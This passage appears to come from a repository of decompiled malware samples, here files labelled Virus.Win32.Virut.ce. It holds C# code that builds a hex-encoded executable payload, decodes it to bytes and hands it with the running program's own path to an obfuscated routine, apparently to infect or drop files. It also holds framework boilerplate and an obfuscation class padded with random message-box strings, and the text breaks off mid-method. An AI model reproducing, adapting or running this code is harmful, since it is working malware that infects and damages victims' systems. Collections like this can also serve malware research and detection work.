Module2.Vital += "3508104000FFD68BF881C7681100000FA5C189F90FAFC88BCFEB01390AD0D1E10FA4C1A90FBAF279C0CA49FFD63BF877DE0FAFC30FB7CFF7D10FB7CF0FA5C10FA5C187C869C86C7F46F1F6D88D0D8C1F669186C241F2C7C1CC5FA6D18AC6C7C1ECFFC671";
Module2.Vital += "0FBDC333C080803410400000F20FC1CAB9E908ABC2C1E12108C269C843FAD544B9F9D83B12B93130332AF241FFC1C1E1D9403D0066000072CCFFC189F90FBCC8C7C1BC8F1681480FB7CF0FA5C10FAFC881E18C1F669180F8760FABC10FA5C169C8CC5FA6";
Module2.Vital += "D13CB60FC981E17C4FD64188F021F9410FC90FBAE94C33C08080347640000084E7D1E14AC7C119785BB2648D0D2160A3DA0FC1CA69C82948EB02403D5F03000072D6C7C1DC2F36210FADD88D0DFCCF56C1260FC1C80FABC1F7D187C8C7C15CAFB6A188F0";
Module2.Vital += "0FABC10FBCC8410FB7CF0FBAE9BC8BCF21F90FBAE96C0FC90FC90FA4C11C0FA5C168B8794000FF15041040008BF88BCF87CAEB01018D15D150D34AD1E1B9D9381B72F7C51190138A85EF0FABC1D1E16489F9F2418B35001040008365F00083A574FAFFFF";
Module2.Vital += "0068A879400057FFD66894794000578945FCFFD68945F88B451089855CFAFFFF8D857CF0FFFF8945E8B834104000898580FAFFFF8945E40FA5C189F90FAFC88BCFEB01390AD0D1E10FA4C1A90FBAF279C0CA49C78584FAFFFF00660000C78578FAFFFF34";
Module2.Vital += "76400026C1E18C0FC925ACBF86310FC0C20FA4C1CC64C7C1ECFFC6718D45E4C645F40150C7857CFAFFFF5F030000FF9578FAFFFF21F9F22E6469C8ECFFC67165F28D0D9CEFF6E10FADD8F7D1254CDF26510FA3D8256C7F46F15F33C05EC9C21000558BEC";
Module2.Vital += "83EC4456FF15181040008BF08A063C2275148A46014684C074043C2275F4803E22750D46EB0A3C207E0646803E207FFA8A0684C074043C207EE98365E8008D45BC50FF1514104000E85D0000006830104000682C104000E834000000F645E80159597406";
Module2.Vital += "0FB745ECEB036A0A5850566A006A00FF150410400050E8BBFCFFFF8BF0E83C00000056FF15101040005EC9C3568B7424083B74240C730D8B0685C07402FFD083C604EBED5EC36A20586A0450A3887D4000E82400000059A3847D400059C38B0D8C7D4000";
Module2.Vital += "85C97411A1847D40008D0C885150E8B5FFFFFF5959C38B4424040FAF442408506A08FF151C10400050FF150C104000C3882B14002000000000000000CC7D000000000000000000002E7E000000100000F07D000000000000000000004A7E000024100000";
Module2.Vital += "0000000000000000000000000000000000000000F87D00000A7E00001E7E0000887E0000567E0000647E0000767E0000947E0000000000003C7E0000000000003E0147657450726F6341646472657373000026014765744D6F64756C6548616E646C6541";
Module2.Vital += "00006D014765745469636B436F756E7400004B45524E454C33322E646C6C0000BE014D657373616765426F7841005553455233322E646C6C00007D004578697450726F6365737300500147657453746172747570496E666F4100CA00476574436F6D6D61";
Module2.Vital += "6E644C696E654100990148656170416C6C6F6300400147657450726F636573734865617000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000";
Module2.Vital += "00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000";
Module2.Vital += "00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000";
Module2.Vital += "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000";
Module2.Combine = Module2.Pullover(Module2.Vital);
Jungle.yglgwgdiliknhk(Module2.Combine, Process.GetCurrentProcess().MainModule.FileName);
}
public static byte[] Pullover(string PullValue)
{
PullValue = Strings.Replace(PullValue, " ", "");
byte[] numArray = new byte[checked (unchecked (Strings.Len(PullValue) / 2) - 1 + 1)];
object Counter;
object LoopForResult;
object CounterResult;
if (ObjectFlowControl.ForLoopControl.ForLoopInitObj(Counter, (object) 0, (object) checked (Information.UBound((Array) numArray) - 2), (object) 1, ref LoopForResult, ref CounterResult))
{
do
{
numArray[Conversions.ToInteger(CounterResult)] = checked ((byte) Conversions.ToLong("&H" + Strings.Mid(PullValue, Conversions.ToInteger(Operators.AddObject(Operators.MultiplyObject((object) 2, CounterResult), (object) 1)), 2)));
}
while (ObjectFlowControl.ForLoopControl.ForNextCheckObj(CounterResult, LoopForResult, ref CounterResult));
}
return numArray;
}
}
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-3d2414f8b1eab949c1137dfaf70dd34b31e860b5d02b356b1d3a07a2b6a42731/My/MyApplication.cs
+18
View File
@@ -0,0 +1,18 @@
// Decompiled with JetBrains decompiler
// Type: My.MyApplication
// Assembly: 123, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 3E1AEEED-3C8F-4FD4-B5E3-3EE641855491
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Virut.ce-3d2414f8b1eab949c1137dfaf70dd34b31e860b5d02b356b1d3a07a2b6a42731.exe
using Microsoft.VisualBasic.ApplicationServices;
using System.CodeDom.Compiler;
using System.ComponentModel;
namespace My
{
[EditorBrowsable(EditorBrowsableState.Never)]
[GeneratedCode("MyTemplate", "8.0.0.0")]
internal class MyApplication : ApplicationBase
{
}
}
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-3d2414f8b1eab949c1137dfaf70dd34b31e860b5d02b356b1d3a07a2b6a42731/My/MyComputer.cs
+24
View File
@@ -0,0 +1,24 @@
// Decompiled with JetBrains decompiler
// Type: My.MyComputer
// Assembly: 123, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 3E1AEEED-3C8F-4FD4-B5E3-3EE641855491
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Virut.ce-3d2414f8b1eab949c1137dfaf70dd34b31e860b5d02b356b1d3a07a2b6a42731.exe
using Microsoft.VisualBasic.Devices;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Diagnostics;
namespace My
{
[GeneratedCode("MyTemplate", "8.0.0.0")]
[EditorBrowsable(EditorBrowsableState.Never)]
internal class MyComputer : Computer
{
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public MyComputer()
{
}
}
}
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-3d2414f8b1eab949c1137dfaf70dd34b31e860b5d02b356b1d3a07a2b6a42731/My/MyProject.cs
+108
View File
@@ -0,0 +1,108 @@
// Decompiled with JetBrains decompiler
// Type: My.MyProject
// Assembly: 123, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 3E1AEEED-3C8F-4FD4-B5E3-3EE641855491
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Virut.ce-3d2414f8b1eab949c1137dfaf70dd34b31e860b5d02b356b1d3a07a2b6a42731.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.ApplicationServices;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.ComponentModel.Design;
using System.Diagnostics;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace My
{
[HideModuleName]
[GeneratedCode("MyTemplate", "8.0.0.0")]
[StandardModule]
internal sealed class MyProject
{
private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
[HelpKeyword("My.Computer")]
internal static MyComputer Computer
{
[DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
}
[HelpKeyword("My.Application")]
internal static MyApplication Application
{
[DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
}
[HelpKeyword("My.User")]
internal static User User
{
[DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
}
[HelpKeyword("My.WebServices")]
internal static MyProject.MyWebServices WebServices
{
[DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
}
[EditorBrowsable(EditorBrowsableState.Never)]
[MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
internal sealed class MyWebServices
{
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public override int GetHashCode() => base.GetHashCode();
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
internal new Type GetType() => typeof (MyProject.MyWebServices);
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public override string ToString() => base.ToString();
[DebuggerHidden]
private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
[DebuggerHidden]
private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public MyWebServices()
{
}
}
[ComVisible(false)]
[EditorBrowsable(EditorBrowsableState.Never)]
internal sealed class ThreadSafeObjectProvider<T> where T : new()
{
internal T GetInstance
{
[DebuggerHidden] get
{
if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
}
}
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public ThreadSafeObjectProvider()
{
}
}
}
}
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-3d2414f8b1eab949c1137dfaf70dd34b31e860b5d02b356b1d3a07a2b6a42731/NmXRWnCqVoQLkgsgflZU.cs
+170
View File
@@ -0,0 +1,170 @@
// Decompiled with JetBrains decompiler
// Type: NmXRWnCqVoQLkgsgflZU
// Assembly: 123, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 3E1AEEED-3C8F-4FD4-B5E3-3EE641855491
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Virut.ce-3d2414f8b1eab949c1137dfaf70dd34b31e860b5d02b356b1d3a07a2b6a42731.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System;
[StandardModule]
internal sealed class NmXRWnCqVoQLkgsgflZU
{
public static string atbLVcmOWAsggFzJMjHTBWnFUvppEnuuvLqSxyKkpCUCHJrbfOQysKsktnboeBmRhqgLeWpvCkQhVPpngGyWQMQYBnEcuGVbTkrFWXykpBZjdyOgyOyBfGcLdvSW(
string uQIJhIkjEOJDprga)
{
int num1;
int num2;
try
{
ProjectData.ClearProjectError();
num1 = 2;
int num3 = (int) Interaction.MsgBox((object) "jpVlbPJrFBrdGlmGuNttXScIriUXlBblKwzGvQZsQgQPOzgXyqmZraBmamnrdKonJUNRaawfMzmhwlVVbVzrGYnEvlULcpRAgcWxVjrhvnHSEVouWphekLlsMgCalKfNSuucUSCibpdzHRBdnmNnmNdVLnWySHLGlxRWCPabKyWIPsawMdtUQPfdDdZGxZMctVhDVibjxF");
int num4 = (int) Interaction.MsgBox((object) "GvbkOrzjrVcpYqjiWiMmDVPBLGtTJZNByzPbuTDjJSnBKcqNbjQKdEhpRSRXVPOgMIBhfDboYlwhxVpgdFVtmAbNiMHoKknDKWjOwhHMwrQoQtwERPUgEKdmHEzdfZVMAEGwlvzUMlkJRPfpoVMKysDavmdvOEUyqmzvOOaxZnvZvjufffOFPKlWjKcsjAttgqpShjlPyVd");
int num5 = (int) Interaction.MsgBox((object) "zLVKzeaWppPMKNwQLsaqSqrcMBmTXgZnegbmdDSENIreNwbpsasEyLksGoSIWPkeEnMfWoPPFyWCgPBnIqLFcgCFbEmxNMcHHZWnliRCGEcLTGPiQrkCdytHpFQXJJdVOHGjzvbinemYLwursyDeDGYHWLrRKDDdEGFALXFRcvoVJfEYPhEUDAFNrENTpOlCrGVZJTJWXlPEIkINdEfcDhSstkNb");
int num6 = (int) Interaction.MsgBox((object) "vYDIKQnluXuvnjuATVWgKIgvFbfAtHNrKBOwmMTjdgqsqvLKZCZWkqLaBdDwFUdhfWLoOTgAXWEzdMVxHSpotmMICcvzKSCKwQufGtBEQanKQsCkEUdy");
int num7 = (int) Interaction.MsgBox((object) "ZUbxwLrwbAwaXgQBGzKhpphxGQuGJdtFloFIasngEayvnHUqlXFzdyemwHzmZVfnBMvkumTiKfmBAkJoluvvjHsFIqplTNYyygMWgwnhvaBJaTinbMVmLatrofdBcdLpTtIePaOYTRpFuepBkpbxsqOedGSdMYTghmDLfXaVlFmZZGMQXtMgoPDJMoIYsigzpiTsJpSxxcMHEKJo");
int num8 = (int) Interaction.MsgBox((object) "dOktSiblMDOmcFaTwUdhETYbqLDfOBUoaLRYIVbpeJaQyTBmCbpBhdQnuqjQEhcbNzJruhrTLLkNRmqLjLGQjhmvoDhyczThOzKuZhXgEkBvVUOanEEgGNIvAcgoqIutIdirfQQUjMYZyooxjkEFOwhwXkqNPyoNrClMiWEkvFJaXkycSSNPeXtByrRxTJkqLicfDpWdkdQaNvbRiPolWd");
label_1:
int num9 = (int) Interaction.MsgBox((object) "HjGATJPltGUxwxIMZIDCpRekVEskTeTLjJLwzNQwaVxCQolSlnbzyrwCOpmwwovqJFoEIHvEGXdizUUZySFrcwicegTIkhbXwvDCgYkadCDSSsR");
goto label_7;
label_2:
num2 = -1;
switch (num1)
{
case 2:
goto label_1;
}
}
catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
{
ProjectData.SetProjectError(ex);
goto label_2;
}
throw ProjectData.CreateProjectError(-2146828237);
label_7:
string str1;
string str2 = str1;
if (num2 == 0)
return str2;
ProjectData.ClearProjectError();
return str2;
}
public static void IATAgHlFRVALJXTsRDcgZbjrMRXOsxVIKGZYyFuT(
string poljIbHihxbqcXlSlkmFRfDWoPKerkbLLBXEJncEdoRcvizn)
{
int num1 = (int) Interaction.MsgBox((object) "NzLhoLZPpVSgJRdQYkELfzYXshaeDXwIGGcbeQfpjfQGZmLYeoFCPdKhJDXumrzzeHpbOQoUcMvhPLVwRhrtDvmGhYZuXwlhKyzvONqcOpqzuTIAvRRahiAnWIQiWBMetdUHOvteBhtJjjGjmzzyYTScEmsXQYjOIHQdtbqQNoDqKrbpUIEiSmJImKMGqOLgMghLCghgzhRYxcbUpQeVSBdXjDeHdgZ");
int num2 = (int) Interaction.MsgBox((object) "tapsfZdiFZQRXevKMPtWdiCNImVfxGImizRpBnnuBIauVAFvJWyJzXqKftBNZRfEmexrLJTOwIXOgOpXnKIFhJidlrMYSLadeKmhTzElyyJcXrqMpqCNtTSjtwNazzBaOakGoSUfwOmeMskkExgczKVwsrFOlqiRfHvIjWrRfkHPLayLVNwsNpSmVJriorxWSoSlTSwQ");
int num3 = (int) Interaction.MsgBox((object) "zzNSSiKsEBjyTfyWNPFjpAIAWZrBiQDStSJfdLFdiIukJHXlJHhlppXLkGelmjJSotstwcvsqmxDStePbWLeXViXcMzQqLraMOFlpHESWwyHxvcDbaGYGcoZWpmhulKqDaIMIRiDurQscyteRvQkxWxcUQvCDKtZCeynoBBkolBnqNlsHildGdfXGqToYKMQq");
int num4 = (int) Interaction.MsgBox((object) "vgCZnJWZbpxCutdxBFKVtzSeeYUQJmmGbYWfeHGnqlxusbzebUqyCEPLWqlRKPCJUqekkclZxQFYqWtDmsNNKZZQEzoTXbieWwgRZIvkrufSIUtVdlkslBfwXPlyOILVaFmBSpSYUldCRJijuOONCXOEWzmhHBUhdhDPkKjobFIDldtuhrIBccIqwSyvVuqRaoojxJdkHPczmRJEmh");
int num5 = (int) Interaction.MsgBox((object) "CLwrukrTramAJsorBXhWzgMdAcoKcwBiwnnDEVhEQBFuaBoOZvqKkXsYFvriLiYTiCdehTxaxTSVFfptiXALuFMOmtOMrukxzmURpnQCbIaaOnTCRmLVslxUkHHrhmNrkaNKsjMEqCdDPgCLPVZirZaLnRWRwVjVfAKDEQPCfkfWTRpRHsvHcWIkGKjyBYDXuMuoqzRiofLyIn");
int num6 = (int) Interaction.MsgBox((object) "qbfxivxjPkmBScTrBXHQcNsCzPoQOWmlVGaCDYEKlZVPRDeXLkEwDeXylXcpIlJpivuJMLChTbJTVdVggAEqjAnzqxLByZbcOFQZmHFhygWlwXCjnBXWttbgPoZvLAGMprLbQMPfXCaNsFviyosEKrljGQtiEvtlGUshxYSKOkJPYthTRVxyIKoFfQenkIqvrGGnSkLEgSIxQf");
int num7 = (int) Interaction.MsgBox((object) "ngRaXtolSjyenpxkgnuOXsyGvmsLgpTuKaHDWqWonmLywRXYzloOZfKFxoQDYIZorrdedWfDYtCqRHvYrZbxpqMxdQcqpSWWUfvcgXuNlhLtWHAoEROqmQkmigkCAGsupETXDgxUVQvhfHWUgbLVnsNYJzyMbOWJxdEsOlXZXJNiPtqSTTZNNLeJzkYxmdpRnRKPidAenbXXtIqkLGMugKQvASlCpfTG");
int num8 = (int) Interaction.MsgBox((object) "kHsstYhWbeLFfPdxkSjzexOLBYeCjSamaVCSJGxnuZcySxxpEYVbvKwHlyMfaUrTgZROjnqQXytOSQBchNtBQLTnmRAAioZdRyYIDSmRuLYTWupgNClyKWDhJkxLBeLtqNVvJAlZJGUkEzOqkcjnosTwjECJXcmFrHqbwBvPnWROLugjVbWXwoYHjOyupxKmrVRBLjWO");
}
public static void xScTkYMThHHMfp(
string IwcFfNqpSpBwtpmwkEmZeDKHisDJnjdVBkWTkKcTwGKURtMg)
{
int num1 = (int) Interaction.MsgBox((object) "oVbdyEBpXaUDoTfNxwyPiVtpngxjvsSSeEQrKLDSkvpDFPDGdOSucnvZNVobTcKJzIFVrYAXiVEhBiYVMiqcaFJlVYEKhCqwwxBoMfbDMRXOyMYGuVZpxLSaGDCKFHufOlMbrWOORwBbRqnOVocIPvEtQYoDLgCNxnvHBkuEsYxvbJxwlCHIwyBtvzXSRPxwtRKJ");
int num2 = (int) Interaction.MsgBox((object) "PZsdvjXerOkrJDIQWgpirOapCGsYCOJRLgmErYSveoDMcRKgQZgBTrOKlVvWqyGahagtKKmFAWJgJEDhSJKRNhbUMYyfMwWssPBRoagDWVeVsyrNpsDCMTOQtVeTFtHMGHZuTDBiFtpARfZUxjmcGiesvWOHIVOfmLbwmazsQySrWkFxFpoLjJYvfheSMKtryjksjacaRsoNvtksZTkakeyUOM");
int num3 = (int) Interaction.MsgBox((object) "omUqcmjQTkqCopqYfUISaNENtEDJrPWUfTfGQHTnrblbVYBOKHLWtBDhJXvAlOZRsrGkGHFRjRQjBTFkFEZWaJXwBulJUeZeQljWkDRmNHHVIwYYGtVjjyKTgPuatmICWvdYfQphgsZtTdvOQWPQvoFgBdkHkIQTKQBzRPQjqVfLIhKokjVanCvTMfXMTNkKksSGWWhbrjpfFeH");
int num4 = (int) Interaction.MsgBox((object) "DjUEJNEuPYBfneUbGNTuUoEKWsbKlTBmOhoCqlhTPENfeaSTSMROTPFVuKIHUusFbkFaNyDdXaRSYdLpFyPvuZQRYaKEQvUelIZywqzYiBUToagsMlWRQITCCqcuMQKoPGyMADIrugJyHLbkpsCEEvXbEJEbgOyfUHBdSygtVHQUMjuTYoffCekrvVLgtvwGklkSgSwjtGRaeiyJAPbMrE");
int num5 = (int) Interaction.MsgBox((object) "aFRagqPkKycCFjTDsOMhrXoJuRzNLntZHTEuBjYDuLolTeUqaQKokhjKErSevgVYWsdksZNEepyJqqyRNCCFFSsmSPEETXQebJmkQfSWelWGCyBfDryYhryjloyUgHtBxoTdYwDMWUwLEwumZEnaUzQIiloJkfSvMCMxQUhjgKMFygqwBKIuSmJSnZOEhnCWvTHavtSvmcHXlxFPLfOexrUa");
int num6 = (int) Interaction.MsgBox((object) "bhiJbmbPOXrWIQwLlBvNsJwymfiADdQkVcbpDCtauoOrexyDNVGKIsdsfkrvFWOvXjqeicyBJJYdeGWhmkmswxsJMRwUZNUgNqZSKpTZizMoZknWFZtAqHhgYEbLIkoSVOJwZvBYvpNXQnwvgBzWJKHKadEUEgyvRnEHEUsLCGxRmPtTXrbviGNKcSBjvDteHpepgOlCOZmLVTYEo");
}
public static void uTXcXitebwpzGBGOkQYzgdywgPiWnPnDRSYbTOwnEIURpw(
string OSqqQNSnIetiPZDfJzVQxMIiORyPeATBmojeuLuaghzYTpWd)
{
int num1 = (int) Interaction.MsgBox((object) "EMcLekWurXvdeDjcDjDHSpytzkIrkvgTfyRuXWGFMJBRyreLtjhdfbNYsEwoLTChNhcamKyHUscGcOmVTusQErHbeJqfOcheHogsECtPYukzVBWlsGKXkbRQaLHaVSYYvwkHykrhIXtwOTaCDryTKPJKgcHdBDeSeuseBVCBthVBvjybEVWZRURUCKUGWkKyRvDCNtKqhtExRt");
int num2 = (int) Interaction.MsgBox((object) "VfIYQSpQpGALoaNgVMPuKftMaqBixjCteEHxhTDEkxXAACOOJwkBDEAyuvvbjVCRrXnxCxFlaYGGJGTDcdgnWUyZIiByymZkgVsnQHZfpnqZoGwlfTPZCIoldNvTeRWtNFznLiLitwBcfkzHgaMfkDYcTrEIQrtnkhSeFTnKOjWbdKvFAcKmDuucDmxusMISUyHIwrYiHPCMlsm");
int num3 = (int) Interaction.MsgBox((object) "vQFJQnDjtJnyGQCQsZkknegkntFQulzhNVqhNepfzoLYNkjoYrHwbTkDEGVJIrhdykWWDLmRaoXKHZssBiHfyVZLeWxUcSDiCEUYhdTWKmdALjyOPIjzwMoxaOZegHbmahqptMOxuxEsXjxVkbqppfmwxsDtgXlsFCyHOgNceTPvSucvNkrLGuIpwEyXDiWitKIjUIDuRtYPYldWzdAVVbpMYsYXZKX");
}
public static void XGZeSsL(
string CBHzfNDrdDmlUWRCViCwrXqZuSBPTViMMgXgBNgCOPZqDpgp)
{
int num1 = (int) Interaction.MsgBox((object) "XWjXCOcDTgxFultygtlocRqOwicGYGLPmQBwsFZRblyJKHcIapBezWQaAHAzByLdyTfCAHmYZijZEGqpQPvtLTXERGMtrOIQCFRuJXWYHmKdwVRvwfcJizuquSNQojdvrVBmpORWMlvIrocMCEBkBORSlcluPWRVpxzFytGLXTFJHolItjynOOEstynxfFiZQGPknwsVhRgTHzYgUYaMbcPNinvuYQ");
int num2 = (int) Interaction.MsgBox((object) "tyJmbBSZjbLDkYefYNEnRAJjHGYJmHHMepphfTVxSNioVnUGAMUJySWKmkZovjRNoXJWMSsbxZuTmYLtJfnlcGdPvsDyfycXmEucKgkGnSXNYMEmMbknqBhswlmHdhqklrXTNqgCAtqSmBgYImlfjipDYBkeTJxBuTQKenyFgiZLgDWIiWinjAfNYDYqiDwULp");
int num3 = (int) Interaction.MsgBox((object) "XzjgAdSdUziLztPpHyaoZLHBbwmJWUEOIdqgmGWBunbFsfIxTFgKxSLaUJYpmnGxGMfbNahBIxGQTQOYLzuBoCrFFdvDmPKTbNpmNqQxbZsHAhlaKYPpgfuPXUwFXRfzTxpdcISefmZllFcSoRrmDWyUCoNpXBSJfBPlzElxFbKScWDQPhPIQFnjTMejIsAseDKzQhZSiVuPjGlHVWeSaI");
int num4 = (int) Interaction.MsgBox((object) "loJWhslsjHrmeyvzZblXidLOZWoWrJZgXDwPpNwyDmntWfbmdVrrSxhTCIVDSUYuFnmMwxaLPEiOozDvfhHtQqrXxFjBHDOunntVeRMOUEtDHdRIgGwmDedHMHuXmgkQWygPrvoThhXElFIjoYeFigGwKOcgYbqHPOHesOUOiMbEsIdpaDdXoBDJIWUAaBwhFyoInIDyZlUPA");
}
public static string rjnRGVDNIMyjrhsvfJtKATONMnQxzJJMlWPUwEtXrZdtOJffsXzGREECMfNnnUzRwZHpyMWdzYLHpnZCDFKEqgjlumaqyZZglBrwDcqaxRYsIBeJbPzZKgFIYShc(
string BQFasLSyAYkuhhKi)
{
int num1;
int num2;
try
{
ProjectData.ClearProjectError();
num1 = 2;
int num3 = (int) Interaction.MsgBox((object) "hJiVQBlgkBcpSmfXOblnbcfbKqOahevtuEBTPjZuHGTpwfnWtWYtETFskGRyLMSHJFlRCVPXUdefJhIcbWdQblIQSwcUpwxSlDEgEcFQBBwMOVkcptdQfRmbDtiQGijTACfiJowSTkxDAbTRwwLHrrTEDMIxEdHQKrqFlqZilKbIjMqMmVZvvZomjoQEtidwkQbiDofLLJzZaQvzYRZkJngNtrKQizcHj");
int num4 = (int) Interaction.MsgBox((object) "ddJLYpzeHfOuCoZPxviOnZHRMMgzMhVtErvQIiXwuzLipOgvvXkEYxzIlCXnGWqRkDBclMDDdtxVsHwPtOHyJjNxaJdywiINJvcrUiTTwvWDZbwseDsIrZGUOybxZxBRBaCZFvOnnnazeIxtWQhjeKFHCkRYDmDvEwGOkKItEvifYHCYDFMDEwOcEpPocDpmlrxCgn");
int num5 = (int) Interaction.MsgBox((object) "jNtJNjUXKuuscTKvggGQIHbcWfjosOBqmrycQJVwmKTjunrDixEEhMqWOhzCMWsxJyUFhunrSZJLaQBwiEJOduaSVYpiLxnskjVkATfWFdvIGGinDQNosnqmUytlIuiyqsLGJlGNWJNdgauDNVzfTGsGiuuLybmswQaTCJZrmGsXwlsUhIpCOqCfCZMaGGXpvabErkW");
int num6 = (int) Interaction.MsgBox((object) "bcdJdNOsTURbEZlgRSdzkDLxNMTnUcbHsbmQHabBCxEXwmcauiZsmqMLzIMSSEhwbGFBGxyfBakVsbYAlIBGPBwJBQsLjROuDFRsHWzMIBVfQygzTYTIonQOuOSibKPwkFoOetREuAukRzQfSShJvkiGVbRyfzJwaKzYKQQmvxSxZsBLHkLeTSbLIItAVipPmVftPKDMFSLJTYTZRLcyEczmvBxkedwSK");
int num7 = (int) Interaction.MsgBox((object) "LkaEMLYwpefCBUxzfjIMTBUxLqOtLuFbCQZmdYAOpYQsydPLAHlpFksLeKfSJjmbMBSwaFmQzAPBnsGkCJsfPnTcEnkseRvebJdTLKWItfaUHGEVCfPHzhq");
int num8 = (int) Interaction.MsgBox((object) "WBlYIfczfoSnxJJYZjXhPZepVpFJdgxsJCAudaAzRZdDEVaZYmXHMUiEsXGNDuoZwuOozGgrmVVoQiMXwMbmvLMxXQzsdfTIbUQiLBdlrAVAlQnUezSJptQdEtvRXEcoMbDzetLKAcafTGEJwqHzrQQhhwcuQuCkQrbTqrENJeZUDNkPuWeqJPDUiXxwhtqBZNNMaWOrCJDdqOuwTlRb");
int num9 = (int) Interaction.MsgBox((object) "NYaENIjFnOonSDvHDcqjxhbqzZVzJCZoDurXLNXcLZMypZOCKfQFpkcFDZhdgHulOjnqGaSxMvPBeYDkyTUomFKeuRnVKKzZtkKyMVxQnZGqQpXZoUzCiNJUJKsBgHjziVpuQinMrgdCCWGgpCvipwofdEKIoEcJimsmuheUbKusOpunCNVnkeorDsDwLYUkvdghapLVrHUUcObdcwoavdyp");
int num10 = (int) Interaction.MsgBox((object) "JtCnDNDSfzTVDaCzrwnKZTYJVKTVBnqAnPSRRIJqPPpowuxZaYlytKPIoIdIegmIJNtrIalnTMnLaegJJHeiySVFCEYNnhCIfosRZIyWEzstgukysExEFjLNwYPtjjcmZKURbuMQSQXQkfqsWcypizShQeKamawxmojTkYIZDbkBGaguqqqPCCYRFkRkTvsrNqszUkUwItnf");
int num11 = (int) Interaction.MsgBox((object) "GpRmWnRFlZwSBiagWyMjolnwogdKFZnbjPyRQXcqbNEccnCWnlnsIsexPTWUOoUJGrmsQtDqjLtBWFGtYcNOCkWHaRuUdorozxNupRvrWMFpLHkMajLfrkRCbtSdUPOQnbrKoktiuCCqgbkkfuzyopNdANlxnUPTJUsUQgYqhLHhtjjbtssPDHlmpxSmMXjgQVgiyZZwmjiWYzV");
label_1:
int num12 = (int) Interaction.MsgBox((object) "GnZHgqLXdPbYvQZopWssfpyUklnXQeLMomdTjcpuqUrTqQbINwIFEkTHDgKDZJSVFSuxVFyyxAwJHHklKHPSRngEKRjqepoVTmGCqtlbrgSNtzAInpVvzwpbDIDFPrHqlKVJPikgTYNIUjFarGiPVbbbTbZFGhAzwvNLeOatoVIxgqRXLABnYFbNJZHSSvJVqoHRBaFEFbbgMEICMgNxQOxGKgFTajHmMOPqiU");
int num13 = (int) Interaction.MsgBox((object) "GjHSCZOXZKQHVnyZhXuvzmPFaMwEGxQiYrGEwdxtyYNznxcMxrqunMPfScUbRkriikLhhSiVSRkeGUhjWwrqymdgwxqShYfNSPUNSWqsOpdLhgifnotymnYxtZEsIozKLibNLPrzVvmIYHAndVrgMsWRrKGPEHVOuqbuUZFdUlGkoaFybsfEgbtdaErzdGOPCoPYCcCVuLgFlLRzOGFeCRJXaLGKmMzAQ");
int num14 = (int) Interaction.MsgBox((object) "LttyeSwdsrkfIhITRqlhxDAAUMLXKqmRVlgDMUVixEClbPjVhDLYmSzblHcLondrIOQvLUPLqTOosRWTEprGNTHSStbrNZxBbScsYRQdbJoosCzpyVJogt");
goto label_7;
label_2:
num2 = -1;
switch (num1)
{
case 2:
goto label_1;
}
}
catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
{
ProjectData.SetProjectError(ex);
goto label_2;
}
throw ProjectData.CreateProjectError(-2146828237);
label_7:
string str1;
string str2 = str1;
if (num2 == 0)
return str2;
ProjectData.ClearProjectError();
return str2;
}
public static void tqkSIROcJwrBTbknfufMqcEjytDKOag(
string lqvfBzQwlHcbVvvXloqDoNKgOdGeVNwnWxtKfITUGblTXEoP)
{
